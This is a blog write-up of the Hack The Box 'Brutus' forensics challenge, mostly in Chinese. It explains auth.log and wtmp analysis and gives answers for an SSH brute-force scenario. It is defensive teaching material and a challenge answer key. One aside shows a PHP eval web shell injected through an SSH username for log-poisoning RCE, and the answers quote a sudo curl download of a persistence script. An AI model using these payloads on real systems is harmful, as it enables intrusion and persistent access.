HTB
January 21, 2025

HTB-Brutus

Brutus

1
2
3
Sherlock Scenario

In this very easy Sherlock, you will familiarize yourself with Unix auth.log and wtmp logs. We'll explore a scenario where a Confluence server was brute-forced via its SSH service. After gaining access to the server, the attacker performed additional activities, which we can track using auth.log. Although auth.log is primarily used for brute-force analysis, we will delve into the full potential of this artifact in our investigation, including aspects of privilege escalation, persistence, and even some visibility into command execution.

Tasks

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
1. Analyzing the auth.log, can you identify the IP address used by the attacker to carry out a brute force attack?

2. The brute force attempts were successful, and the attacker gained access to an account on the server. What is the username of this account?

3. Can you identify the timestamp when the attacker manually logged in to the server to carry out their objectives?

4. SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker's session for the user account from Question 2?

5. The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?

6. What is the MITRE ATT&CK sub-technique ID used for persistence by creating a new account?

7. What time did the attacker's first SSH session end according to auth.log?

8. The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?

Analysis

题目给出了两个附件一个auth.log,一个wtmp,先介绍一下这两个文件

auth.log

用于记录所有与用户认证相关的日志,包括常见的SSH远程登录,利用sudo提升权限执行命令等都会产生记录

Debian/Ubuntu 系列位于: /var/log/auth.log

Red Hat/CentOS/Fedora系列位于: /var/log/secure

日志每行的格式如下

1
<Timestamp> <Hostname> <Service>[<process_id>]: <Message>

我们取出一行数据进行对比

1
Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2

日志说明用户 cyberjunkie65.2.161.68 通过 SSH 登录到名为 ip-172-31-35-28 的服务器,并成功通过密码认证。

常见事件类型

SSH登录相关

成功

1
Accepted password for root from 65.2.161.68 port 53184 ssh2

失败

1
Failed password for invalid user server_adm from 65.2.161.68 port 46698 ssh2

爆破

1
2
Failed password for root from 65.2.161.68 port 46852 ssh2
Failed password for root from 65.2.161.68 port 46876 ssh2
账户活动
1
cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
系统服务认证

登录会话开始

1
Mar  6 06:18:01 ip-172-31-35-28 CRON[1119]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)

登录会话结束

1
Mar  6 06:18:01 ip-172-31-35-28 CRON[1118]: pam_unix(cron:session): session closed for user confluence

筛选安全事件

其实从上面的不同事件的分析中就已经可以很轻松的提取出关键词进行筛选了,下面仅给出简单的示例

筛选登录失败的记录

1
grep "Failed password" /var/log/auth.log

筛选登录成功记录

1
grep "Accepted password" /var/log/auth.log

统计来自某一 IP 的登录尝试

1
grep "Failed password" /var/log/auth.log | grep "192.168.1.100"

我们的log文件默认只有root账户可以访问,如果日志可读我们可以实现RCE,利用SSH可以实现向日志中写马

1
ssh '<?php @eval($_POST['attack']);?>'@192.168.3.100

然后读取日志利用attack这个参数值实现RCE即可

wtmp

说到wtmp文件就不得不提到另外两个文件了,utmpbtmp

说一下三者的区别

wtmp:是一个二进制文件,永久记录每个用户登录、注销及系统的启动、停机的事件。位于/var/log/wtmp

读取wtmp文件

1
2
3
4
last

可以使用-f指定不同的wtmp备份
或者last reboot查询系统最后一次的重启时间

登录时间:用户登录的时间戳(从 1970 年 1 月 1 日开始的秒数)。

登出时间:用户登出的时间戳,或“仍然登录”。

终端号:用户登录时所用的终端(例如 tty1pts/1 等)。

主机名:用户登录时的远程主机地址(如果是远程登录)。

登录状态:表示是否为登录或注销(例如用户登录时会有一个事件标记,注销时会有另一个事件标记)。

用户名:登录的用户名。

utmp:记录当前登录的每个用户的信息。

读取utmp文件显示简略信息

1
who

读取utmp文件显示详细信息

1
w

btmp:记录所有失败的登录尝试,包括远程主机,登录失败的原因,在检查暴力破解中还是比较有用的。

显示 btmp 文件中的失败登录记录(需要root权限)

1
lastb

可以利用下面的命令将三种文件均转化成人类可读格式

1
utmpdump /var/log/wtmp

输出列分别代表

  • Event Type
  • PID
  • Terminal ID
  • User
  • Host
  • IP Address
  • Timestamp

题目的日志记录还是比较少的,我们直接使用Notepad即可,

Task1

攻击者IP很简单,直接找Failed的记录就行了

微信截图_20250121194804

Answer:65.2.161.68

Task2

爆破成功的用户直接找Accept即可

微信截图_20250121194958

发现存在4次记录,第一次应该正常的用户登录,紧接着最近的一次成功记录就是我们要找的爆破成功记录,用户是root

Answer:root

Task3

我们需要查找攻击者手动登录的时间戳,为什么会存在手动登录这一说法呢,我们先看下图

微信截图_20250121195423

我们发现登陆成功和会话被移除时间间隔甚至不到一秒钟,这是因为暴力破解工具只检查登陆成功或失败的状态,然后记录成功的情况供攻击者稍后进行尝试。那么接下来我们只需要寻找下一次root账户的登录时间即可,这里我们也可以通过wtmp文件进行辅助

微信截图_20250121200045

:请注意这里的时间虽然和auth.log的内容稍有出入,但是实际上也是正确的,只是小时因为时区的问题会比auth.log中快上几小时

可以发现从SSH开始验证用户身份的合法性到成功登录之间存在一秒钟的差别,这是正常现象,因为验证/etc/shadow文件中的哈希和启动交互式会话均需要花费时间

微信截图_20250121200632

这里的时间以wtmp文件中的为准

Answer: 2024-03-06 06:32:45

Task4

手动登陆时分配的会话号在登录日志里有

微信截图_20250121201144

Answer:37

Task5

为了实现权限持久化,攻击者创建了后门账户,我们在登陆后的账户活动中可以发现端倪

微信截图_20250121201706

添加cyberjunkie到sudo组中,并授予其对/etc/shadow文件的访问权限

微信截图_20250121201819

Answer:cyberjunkie

Task6

用于持久化的MITRE ATT&CK子技术 ID直接在MITRE ATT&CK官网上查就行了

微信截图_20250121204220

Answer: T1136.001

Task7

根据 auth.log,攻击者的第一个 SSH 会话何时结束

微信截图_20250121204333

Answer:2024-03-06 06:37:24

Task8

攻击者在后门账户上利用高权限下载脚本的完整命令

微信截图_20250121204713

Answer:/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh

About this Post

This post is written by Chromos2me, licensed under CC BY-NC 4.0.

#DFIR